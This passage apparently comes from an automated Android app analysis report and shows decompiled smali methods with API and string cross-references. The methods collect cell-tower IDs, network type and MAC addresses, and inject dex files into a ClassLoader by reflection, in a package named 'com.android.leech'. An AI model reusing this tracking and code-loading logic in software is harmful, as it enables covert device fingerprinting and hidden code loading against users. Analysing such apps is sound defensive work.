                                                                              22move-object v0, v1
                                                                              23goto/16 :goto_10
                                                                              24cond_1f:
                                                                              25const-string v0, "connectivity"
                                                                              27invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              28move-result-object v0
                                                                              29check-cast v0, Landroid/net/ConnectivityManager;
                                                                              30try_end_27: if-nez v0, :cond_2f
                                                                              32const-string v0, ""
                                                                              33aput-object v0, v1, v4
                                                                              34move-object v0, v1
                                                                              35goto/16 :goto_10
                                                                              36cond_2f: const/4 v2, 0x1
                                                                              37try_start_30:
                                                                              38invoke-virtual {v0, v2}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                                                                              39move-result-object v2
                                                                              40if-eqz v2, :cond_44
                                                                              42invoke-virtual {v2}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
                                                                              43move-result-object v2
                                                                              45sget-object v3, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
                                                                              46try_end_3c: if-ne v2, v3, :cond_44
                                                                              48const-string v0, "Wi-Fi"
                                                                              49aput-object v0, v1, v4
                                                                              50move-object v0, v1
                                                                              51goto/16 :goto_10
                                                                              52cond_44: const/4 v2, 0x0
                                                                              53try_start_45:
                                                                              54invoke-virtual {v0, v2}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                                                                              55move-result-object v0
                                                                              56if-eqz v0, :cond_80
                                                                              58invoke-virtual {v0}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
                                                                              59move-result-object v2
                                                                              61sget-object v3, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
                                                                              62try_end_51: if-ne v2, v3, :cond_80
                                                                              64const-string v2, "2G/3G"
                                                                              65aput-object v2, v1, v4
                                                                              66const/4 v2, 0x1
                                                                              67try_start_58:
                                                                              68invoke-virtual {v0}, Landroid/net/NetworkInfo;->getSubtypeName()Ljava/lang/String;
                                                                              69move-result-object v0
                                                                              70aput-object v0, v1, v2
                                                                              71try_end_5e: move-object v0, v1
                                                                              72goto/16 :goto_10
                                                                              73catch_60: move-exception v0
                                                                              74sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              75if-eqz v2, :cond_7d
                                                                              77const-string v2, "UMUtils"
                                                                              78new-instance v3, Ljava/lang/StringBuilder;
                                                                              80invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              82const-string v4, "get network access mode e is "
                                                                              84invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              85move-result-object v3
                                                                              87invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              88move-result-object v3
                                                                              90invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              91move-result-object v3
                                                                              93invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              94cond_7d:
                                                                              95invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              96cond_80: move-object v0, v1
                                                                              97goto/16 :goto_10
                                                                              98catch_82: move-exception v0
                                                                              99sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              100if-eqz v2, :cond_9f
                                                                              102const-string v2, "UMUtils"
                                                                              103new-instance v3, Ljava/lang/StringBuilder;
                                                                              105invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              107const-string v4, "get network access mode e is "
                                                                              109invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              110move-result-object v3
                                                                              112invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              113move-result-object v3
                                                                              115invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              116move-result-object v3
                                                                              118invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              119cond_9f:
                                                                              120invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              121goto/16 :goto_80
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getCellLocation
                                                                              • android.telephony.TelephonyManager.getPhoneType
                                                                              • android.telephony.gsm.GsmCellLocation.getCid
                                                                              • android.telephony.gsm.GsmCellLocation.getLac
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.System.currentTimeMillis
                                                                              • org.json.JSONObject.put
                                                                              • android.telephony.cdma.CdmaCellLocation.getBaseStationId
                                                                              • android.telephony.cdma.CdmaCellLocation.getNetworkId
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.System.currentTimeMillis
                                                                              • org.json.JSONObject.put
                                                                              Strings
                                                                              • android.permission.ACCESS_COARSE_LOCATION
                                                                              • phone
                                                                              • cid
                                                                              • lacid
                                                                              • ts
                                                                              Position Instruction Meta Information
                                                                              0const/4 v2, 0x0
                                                                              1if-eqz p0, :cond_7b
                                                                              3const-string v0, "android.permission.ACCESS_COARSE_LOCATION"
                                                                              5invoke-static {p0, v0}, LuAgent/commonsdk/utils/UMUtils;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              6move-result v0
                                                                              7if-eqz v0, :cond_7b
                                                                              9const-string v0, "phone"
                                                                              11invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              12move-result-object v0
                                                                              13check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              15invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getCellLocation()Landroid/telephony/CellLocation;
                                                                              16move-result-object v1
                                                                              18invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getPhoneType()I
                                                                              19move-result v0
                                                                              20const/4 v3, 0x1
                                                                              21if-ne v0, v3, :cond_4d
                                                                              22instance-of v3, v1, Landroid/telephony/gsm/GsmCellLocation;
                                                                              23if-eqz v3, :cond_4d
                                                                              24move-object v0, v1
                                                                              25check-cast v0, Landroid/telephony/gsm/GsmCellLocation;
                                                                              27invoke-virtual {v0}, Landroid/telephony/gsm/GsmCellLocation;->getCid()I
                                                                              28move-result v1
                                                                              29if-lez v1, :cond_79
                                                                              30const v3, 0xffff
                                                                              31if-eq v1, v3, :cond_79
                                                                              33invoke-virtual {v0}, Landroid/telephony/gsm/GsmCellLocation;->getLac()I
                                                                              34move-result v2
                                                                              35new-instance v0, Lorg/json/JSONObject;
                                                                              37invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                                                              38try_start_39:
                                                                              39const-string v3, "cid"
                                                                              41invoke-virtual {v0, v3, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              43const-string v1, "lacid"
                                                                              45invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              47const-string v1, "ts"
                                                                              49invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                                                              50move-result-wide v2
                                                                              52invoke-virtual {v0, v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                                                                              53goto_4c: return-object v0
                                                                              54cond_4d: const/4 v3, 0x2
                                                                              55if-ne v0, v3, :cond_7b
                                                                              56instance-of v0, v1, Landroid/telephony/cdma/CdmaCellLocation;
                                                                              57if-eqz v0, :cond_7b
                                                                              58check-cast v1, Landroid/telephony/cdma/CdmaCellLocation;
                                                                              60invoke-virtual {v1}, Landroid/telephony/cdma/CdmaCellLocation;->getBaseStationId()I
                                                                              61move-result v2
                                                                              63invoke-virtual {v1}, Landroid/telephony/cdma/CdmaCellLocation;->getNetworkId()I
                                                                              64move-result v1
                                                                              65new-instance v0, Lorg/json/JSONObject;
                                                                              67invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                                                              68try_start_63:
                                                                              69const-string v3, "cid"
                                                                              71invoke-virtual {v0, v3, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              73const-string v2, "lacid"
                                                                              75invoke-virtual {v0, v2, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                                                              77const-string v1, "ts"
                                                                              79invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                                                              80move-result-wide v2
                                                                              82invoke-virtual {v0, v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                                                                              83try_end_76: goto/16 :goto_4c
                                                                              84catch_77: move-exception v1
                                                                              85goto/16 :goto_4c
                                                                              86cond_79: move-object v0, v2
                                                                              87goto/16 :goto_4c
                                                                              88cond_7b: move-object v0, v2
                                                                              89goto/16 :goto_4c
                                                                              90catch_7d: move-exception v1
                                                                              91goto/16 :goto_4c
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Field.get
                                                                              • java.util.ArrayList.<init>
                                                                              • java.util.ArrayList.<init>
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.util.Log.w
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.reflect.Field.get
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.toArray
                                                                              • java.lang.reflect.Field.set
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.toArray
                                                                              • java.util.ArrayList.size
                                                                              • java.lang.System.arraycopy
                                                                              Strings
                                                                              • pathList
                                                                              • dexElements
                                                                              • Exception in makeDexElement
                                                                              • dexElementsSuppressedExceptions
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "loader" # Ljava/lang/ClassLoader;
                                                                              1.param p2, "optimizedDirectory" # Ljava/io/File;
                                                                              2.annotation system Ldalvik/annotation/Signature;
                                                                              3value = {
                                                                              4"(",
                                                                              5"Ljava/lang/ClassLoader;",
                                                                              6"Ljava/util/List",
                                                                              7"<",
                                                                              8"Ljava/io/File;",
                                                                              9">;",
                                                                              10"Ljava/io/File;",
                                                                              11")V"
                                                                              12}
                                                                              13.end annotation
                                                                              14.annotation system Ldalvik/annotation/Throws;
                                                                              15value = {
                                                                              16Ljava/lang/IllegalArgumentException;,
                                                                              17Ljava/lang/IllegalAccessException;,
                                                                              18Ljava/lang/NoSuchFieldException;,
                                                                              19Ljava/lang/reflect/InvocationTargetException;,
                                                                              20Ljava/lang/NoSuchMethodException;
                                                                              21}
                                                                              22.end annotation
                                                                              23.prologue
                                                                              25const-string v7, "pathList"
                                                                              27invoke-static {p0, v7}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              28move-result-object v4
                                                                              30invoke-virtual {v4, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              31move-result-object v2
                                                                              32new-instance v5, Ljava/util/ArrayList;
                                                                              34invoke-direct {v5}, Ljava/util/ArrayList;-><init>()V
                                                                              36const-string v7, "dexElements"
                                                                              37new-instance v8, Ljava/util/ArrayList;
                                                                              39invoke-direct {v8, p1}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
                                                                              41invoke-static {v2, v8, p2, v5}, Lcom/android/leech/main/loader/multidex/MultiDexVersion$VK19;->makeDexElements(Ljava/lang/Object;Ljava/util/ArrayList;Ljava/io/File;Ljava/util/ArrayList;)[Ljava/lang/Object;
                                                                              42move-result-object v8
                                                                              44invoke-static {v2, v7, v8}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->expandFieldArray(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              46invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              47move-result v7
                                                                              48if-lez v7, :cond_5f
                                                                              50invoke-virtual {v5}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                                                                              51move-result-object v7
                                                                              52goto_27:
                                                                              53invoke-interface {v7}, Ljava/util/Iterator;->hasNext()Z
                                                                              54move-result v8
                                                                              55if-eqz v8, :cond_3b
                                                                              57invoke-interface {v7}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              58move-result-object v3
                                                                              59check-cast v3, Ljava/io/IOException;
                                                                              61sget-object v8, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->TAG:Ljava/lang/String;
                                                                              63const-string v9, "Exception in makeDexElement"
                                                                              65invoke-static {v8, v9, v3}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                                                              66goto/16 :goto_27
                                                                              67cond_3b:
                                                                              68invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              69move-result-object v7
                                                                              71const-string v8, "dexElementsSuppressedExceptions"
                                                                              73invoke-static {v7, v8}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              74move-result-object v6
                                                                              76invoke-virtual {v6, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              77move-result-object v7
                                                                              78check-cast v7, [Ljava/io/IOException;
                                                                              79move-object v1, v7
                                                                              80check-cast v1, [Ljava/io/IOException;
                                                                              81if-nez v1, :cond_60
                                                                              83invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              84move-result v7
                                                                              85new-array v7, v7, [Ljava/io/IOException;
                                                                              87invoke-virtual {v5, v7}, Ljava/util/ArrayList;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                                                                              88move-result-object v1
                                                                              89check-cast v1, [Ljava/io/IOException;
                                                                              90goto_5c:
                                                                              91invoke-virtual {v6, p0, v1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              92cond_5f: return-void
                                                                              93cond_60:
                                                                              94invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              95move-result v7
                                                                              96array-length v8, v1
                                                                              97add-int/2addr v7, v8
                                                                              98new-array v0, v7, [Ljava/io/IOException;
                                                                              100invoke-virtual {v5, v0}, Ljava/util/ArrayList;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                                                                              101const/4 v7, 0x0
                                                                              103invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              104move-result v8
                                                                              105array-length v9, v1
                                                                              107invoke-static {v1, v7, v0, v8, v9}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                                              108move-object v1, v0
                                                                              109goto/16 :goto_5c
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Field.get
                                                                              • java.util.ArrayList.<init>
                                                                              • java.util.ArrayList.<init>
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.util.Log.w
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.reflect.Field.get
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.toArray
                                                                              • java.lang.reflect.Field.set
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.toArray
                                                                              • java.util.ArrayList.size
                                                                              • java.lang.System.arraycopy
                                                                              Strings
                                                                              • pathList
                                                                              • dexElements
                                                                              • Exception in makeDexElement
                                                                              • dexElementsSuppressedExceptions
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "loader" # Ljava/lang/ClassLoader;
                                                                              1.param p2, "optimizedDirectory" # Ljava/io/File;
                                                                              2.annotation system Ldalvik/annotation/Signature;
                                                                              3value = {
                                                                              4"(",
                                                                              5"Ljava/lang/ClassLoader;",
                                                                              6"Ljava/util/List",
                                                                              7"<",
                                                                              8"Ljava/io/File;",
                                                                              9">;",
                                                                              10"Ljava/io/File;",
                                                                              11")V"
                                                                              12}
                                                                              13.end annotation
                                                                              14.annotation system Ldalvik/annotation/Throws;
                                                                              15value = {
                                                                              16Ljava/lang/IllegalArgumentException;,
                                                                              17Ljava/lang/IllegalAccessException;,
                                                                              18Ljava/lang/NoSuchFieldException;,
                                                                              19Ljava/lang/reflect/InvocationTargetException;,
                                                                              20Ljava/lang/NoSuchMethodException;
                                                                              21}
                                                                              22.end annotation
                                                                              23.prologue
                                                                              25const-string v7, "pathList"
                                                                              27invoke-static {p0, v7}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              28move-result-object v4
                                                                              30invoke-virtual {v4, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              31move-result-object v2
                                                                              32new-instance v5, Ljava/util/ArrayList;
                                                                              34invoke-direct {v5}, Ljava/util/ArrayList;-><init>()V
                                                                              36const-string v7, "dexElements"
                                                                              37new-instance v8, Ljava/util/ArrayList;
                                                                              39invoke-direct {v8, p1}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
                                                                              41invoke-static {v2, v8, p2, v5}, Lcom/android/leech/main/loader/multidex/MultiDexVersion$VM23;->makeDexElements(Ljava/lang/Object;Ljava/util/ArrayList;Ljava/io/File;Ljava/util/ArrayList;)[Ljava/lang/Object;
                                                                              42move-result-object v8
                                                                              44invoke-static {v2, v7, v8}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->expandFieldArray(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              46invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              47move-result v7
                                                                              48if-lez v7, :cond_5f
                                                                              50invoke-virtual {v5}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                                                                              51move-result-object v7
                                                                              52goto_27:
                                                                              53invoke-interface {v7}, Ljava/util/Iterator;->hasNext()Z
                                                                              54move-result v8
                                                                              55if-eqz v8, :cond_3b
                                                                              57invoke-interface {v7}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              58move-result-object v3
                                                                              59check-cast v3, Ljava/io/IOException;
                                                                              61sget-object v8, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->TAG:Ljava/lang/String;
                                                                              63const-string v9, "Exception in makeDexElement"
                                                                              65invoke-static {v8, v9, v3}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                                                              66goto/16 :goto_27
                                                                              67cond_3b:
                                                                              68invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              69move-result-object v7
                                                                              71const-string v8, "dexElementsSuppressedExceptions"
                                                                              73invoke-static {v7, v8}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              74move-result-object v6
                                                                              76invoke-virtual {v6, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              77move-result-object v7
                                                                              78check-cast v7, [Ljava/io/IOException;
                                                                              79move-object v1, v7
                                                                              80check-cast v1, [Ljava/io/IOException;
                                                                              81if-nez v1, :cond_60
                                                                              83invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              84move-result v7
                                                                              85new-array v7, v7, [Ljava/io/IOException;
                                                                              87invoke-virtual {v5, v7}, Ljava/util/ArrayList;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                                                                              88move-result-object v1
                                                                              89check-cast v1, [Ljava/io/IOException;
                                                                              90goto_5c:
                                                                              91invoke-virtual {v6, p0, v1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              92cond_5f: return-void
                                                                              93cond_60:
                                                                              94invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              95move-result v7
                                                                              96array-length v8, v1
                                                                              97add-int/2addr v7, v8
                                                                              98new-array v0, v7, [Ljava/io/IOException;
                                                                              100invoke-virtual {v5, v0}, Ljava/util/ArrayList;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                                                                              101const/4 v7, 0x0
                                                                              103invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              104move-result v8
                                                                              105array-length v9, v1
                                                                              107invoke-static {v1, v7, v0, v8, v9}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                                              108move-object v1, v0
                                                                              109goto/16 :goto_5c
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Field.get
                                                                              • java.util.ArrayList.<init>
                                                                              • java.util.ArrayList.<init>
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.util.Log.w
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.reflect.Field.get
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.toArray
                                                                              • java.lang.reflect.Field.set
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.toArray
                                                                              • java.util.ArrayList.size
                                                                              • java.lang.System.arraycopy
                                                                              Strings
                                                                              • pathList
                                                                              • dexElements
                                                                              • Exception in makeDexElement
                                                                              • dexElementsSuppressedExceptions
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "loader" # Ljava/lang/ClassLoader;
                                                                              1.param p2, "optimizedDirectory" # Ljava/io/File;
                                                                              2.annotation system Ldalvik/annotation/Signature;
                                                                              3value = {
                                                                              4"(",
                                                                              5"Ljava/lang/ClassLoader;",
                                                                              6"Ljava/util/List",
                                                                              7"<",
                                                                              8"Ljava/io/File;",
                                                                              9">;",
                                                                              10"Ljava/io/File;",
                                                                              11")V"
                                                                              12}
                                                                              13.end annotation
                                                                              14.annotation system Ldalvik/annotation/Throws;
                                                                              15value = {
                                                                              16Ljava/lang/IllegalArgumentException;,
                                                                              17Ljava/lang/IllegalAccessException;,
                                                                              18Ljava/lang/NoSuchFieldException;,
                                                                              19Ljava/lang/reflect/InvocationTargetException;,
                                                                              20Ljava/lang/NoSuchMethodException;
                                                                              21}
                                                                              22.end annotation
                                                                              23.prologue
                                                                              25const-string v7, "pathList"
                                                                              27invoke-static {p0, v7}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              28move-result-object v4
                                                                              30invoke-virtual {v4, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              31move-result-object v2
                                                                              32new-instance v5, Ljava/util/ArrayList;
                                                                              34invoke-direct {v5}, Ljava/util/ArrayList;-><init>()V
                                                                              36const-string v7, "dexElements"
                                                                              37new-instance v8, Ljava/util/ArrayList;
                                                                              39invoke-direct {v8, p1}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
                                                                              41invoke-static {v2, v8, p2, v5}, Lcom/android/leech/main/loader/multidex/MultiDexVersion$VN24;->makeDexElements(Ljava/lang/Object;Ljava/util/ArrayList;Ljava/io/File;Ljava/util/ArrayList;)[Ljava/lang/Object;
                                                                              42move-result-object v8
                                                                              44invoke-static {v2, v7, v8}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->expandFieldArray(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              46invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              47move-result v7
                                                                              48if-lez v7, :cond_5f
                                                                              50invoke-virtual {v5}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                                                                              51move-result-object v7
                                                                              52goto_27:
                                                                              53invoke-interface {v7}, Ljava/util/Iterator;->hasNext()Z
                                                                              54move-result v8
                                                                              55if-eqz v8, :cond_3b
                                                                              57invoke-interface {v7}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              58move-result-object v3
                                                                              59check-cast v3, Ljava/io/IOException;
                                                                              61sget-object v8, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->TAG:Ljava/lang/String;
                                                                              63const-string v9, "Exception in makeDexElement"
                                                                              65invoke-static {v8, v9, v3}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                                                              66goto/16 :goto_27
                                                                              67cond_3b:
                                                                              68invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              69move-result-object v7
                                                                              71const-string v8, "dexElementsSuppressedExceptions"
                                                                              73invoke-static {v7, v8}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              74move-result-object v6
                                                                              76invoke-virtual {v6, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              77move-result-object v7
                                                                              78check-cast v7, [Ljava/io/IOException;
                                                                              79move-object v1, v7
                                                                              80check-cast v1, [Ljava/io/IOException;
                                                                              81if-nez v1, :cond_60
                                                                              83invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              84move-result v7
                                                                              85new-array v7, v7, [Ljava/io/IOException;
                                                                              87invoke-virtual {v5, v7}, Ljava/util/ArrayList;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                                                                              88move-result-object v1
                                                                              89check-cast v1, [Ljava/io/IOException;
                                                                              90goto_5c:
                                                                              91invoke-virtual {v6, p0, v1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              92cond_5f: return-void
                                                                              93cond_60:
                                                                              94invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              95move-result v7
                                                                              96array-length v8, v1
                                                                              97add-int/2addr v7, v8
                                                                              98new-array v0, v7, [Ljava/io/IOException;
                                                                              100invoke-virtual {v5, v0}, Ljava/util/ArrayList;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                                                                              101const/4 v7, 0x0
                                                                              103invoke-virtual {v5}, Ljava/util/ArrayList;->size()I
                                                                              104move-result v8
                                                                              105array-length v9, v1
                                                                              107invoke-static {v1, v7, v0, v8, v9}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                                              108move-object v1, v0
                                                                              109goto/16 :goto_5c
                                                                              Cross References
                                                                              APIs
                                                                              • java.net.NetworkInterface.getNetworkInterfaces
                                                                              • java.util.Enumeration.hasMoreElements
                                                                              • java.util.Enumeration.nextElement
                                                                              • java.net.NetworkInterface.getName
                                                                              • java.lang.String.equals
                                                                              • java.net.NetworkInterface.getName
                                                                              • java.lang.String.equals
                                                                              • java.net.NetworkInterface.getHardwareAddress
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.Byte.valueOf
                                                                              • java.lang.String.format
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.length
                                                                              • java.lang.StringBuilder.length
                                                                              • java.lang.StringBuilder.deleteCharAt
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.util.Locale.getDefault
                                                                              • java.lang.String.toLowerCase
                                                                              Strings
                                                                              • wlan0
                                                                              • eth0
                                                                              • %02X:
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1const/4 v2, 0x0
                                                                              2try_start_2:
                                                                              3invoke-static {}, Ljava/net/NetworkInterface;->getNetworkInterfaces()Ljava/util/Enumeration;
                                                                              4move-result-object v3
                                                                              5cond_6:
                                                                              6invoke-interface {v3}, Ljava/util/Enumeration;->hasMoreElements()Z
                                                                              7move-result v0
                                                                              8if-eqz v0, :cond_73
                                                                              10invoke-interface {v3}, Ljava/util/Enumeration;->nextElement()Ljava/lang/Object;
                                                                              11move-result-object v0
                                                                              12check-cast v0, Ljava/net/NetworkInterface;
                                                                              14const-string v4, "wlan0"
                                                                              16invoke-virtual {v0}, Ljava/net/NetworkInterface;->getName()Ljava/lang/String;
                                                                              17move-result-object v5
                                                                              19invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              20move-result v4
                                                                              21if-nez v4, :cond_2a
                                                                              23const-string v4, "eth0"
                                                                              25invoke-virtual {v0}, Ljava/net/NetworkInterface;->getName()Ljava/lang/String;
                                                                              26move-result-object v5
                                                                              28invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              29move-result v4
                                                                              30if-eqz v4, :cond_6
                                                                              31cond_2a:
                                                                              32invoke-virtual {v0}, Ljava/net/NetworkInterface;->getHardwareAddress()[B
                                                                              33move-result-object v3
                                                                              34if-eqz v3, :cond_33
                                                                              35array-length v0, v3
                                                                              36if-nez v0, :cond_35
                                                                              37cond_33: move-object v0, v1
                                                                              38goto_34: return-object v0
                                                                              39cond_35: new-instance v4, Ljava/lang/StringBuilder;
                                                                              41invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              42array-length v5, v3
                                                                              43move v0, v2
                                                                              44goto_3c: if-ge v0, v5, :cond_56
                                                                              46const-string v2, "%02X:"
                                                                              47const/4 v6, 0x1
